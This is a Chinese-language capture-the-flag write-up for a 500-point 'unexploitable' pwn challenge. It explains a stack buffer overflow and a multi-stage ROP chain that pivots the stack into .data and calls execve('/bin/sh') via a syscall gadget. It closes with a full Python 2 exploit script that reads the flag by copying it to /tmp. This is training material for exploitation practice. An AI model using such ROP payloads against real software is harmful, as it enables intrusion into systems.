这次是500分的rop
#include <stdio.h>
void main(){
printf("Not all the bugs are exploitable.\n");
printf("Try to exploit this one and you will see.\n");
printf("Or.. maybe you can prove otherwise :)\n");
// exploit me
int buf[4];
read(0, buf, 1295);
}
溢出很明显。但单看C代码,信息量太小,必须看汇编。
由于开了NX和ASLR,只能ROP了。由于在0x40056f
处有syscall
,所以我的思路是执行execve("/bin/sh",["/bin/sh",NULL],...)
具体地,我跳了好几次
- 溢出,返回再次
read
,而且把rbp
设到可写的0x601xxx
那里; - 由于
rbp
在data
段,这次的read
,可以确定所写东西的地址。我们把第3次用到的栈上的数据写到这里。由于上次的rbp
可控,当执行完read
到leave;ret
时 ,我们让他跳到第3次read
- 这次是将字符串
/bin/sh
和地址写到固定地址。这样就把execve
的参数准备好了。这次结束后,返回到0x4005f6
- 通过一系列
mov ...
,把各个寄存器的值设好。然后返回0x4005e0
- 这里就通过设
rdx
等寄存器,call qword [r12+rbx*8]
来执行最终的execve
大体思路就是这样。然后比较麻烦的是,我不知道怎么与他交互……pwntool用不了,python还是不熟……于是最后用的是将flag文件拷贝一份为可读的……
下面是代码
#!/usr/bin/env python2
from struct import *
import subprocess
import time
sh = "/bin/sh\x00"
cmd = "install -m666 /home/unexploitable/flag /tmp/flag1\n"
data1 = 0x601100
data2 = 0x601200
payload1 = "A"*0x10
payload1 += pack("<Q", data1+0x10) #saved rbp
payload1 += pack("<Q", 0x40056a) #ret addr: ...; read
#data1
payload2 = "B"*0x10
payload2 += pack("<Q", data2+0x10) #saved rbp
payload2 += pack("<Q", 0x40056a) #ret addr: ...; read
payload2 += "B"*0x8
payload2 += pack("<Q", 0x4005f6)#ret addr: mov reg ...
payload2 += pack("<Q", 0x40056f) #0f05 syscall
payload2 += pack("<Q", 0)#rbx
payload2 += pack("<Q", 0)#rbp
payload2 += pack("<Q", data1+0x10+0x8+0x8+0x8+0x8)#r12
payload2 += pack("<Q", data2+0x10+0x8+0x8)#r13 -> edi -> '/bin/sh'
payload2 += pack("<Q", data2+0x10+0x8+0x8+len(sh))#r14 -> rsi -> argv
payload2 += pack("<Q", data2+0x10+0x8+0x8+len(sh))#r15 -> rdx -> envp
payload2 += pack("<Q", 0x4005e0) #ret addr: mov r13 edi; ...
#data2
payload3 = "C"*0x10
payload3 += pack("<Q", data1+0x20) #saved rbp
payload3 += pack("<Q", 0x400585)#ret addr: leave; ret
payload3 += sh
payload3 += pack("<Q", data2+0x10+0x8+0x8)
payload3 += pack("<Q", 0)
payload3 += "C"*(0x3b-0x10-0x8-0x8-len(sh)-0x8-0x8)
exe = subprocess.Popen(["/home/unexploitable/unexploitable"],stdin=subprocess.PIPE)
exe.stdin.write(payload1)
time.sleep(1)
exe.stdin.write(payload2)
time.sleep(1)
exe.stdin.write(payload3)
time.sleep(1)
print "======="
exe.stdin.write(cmd)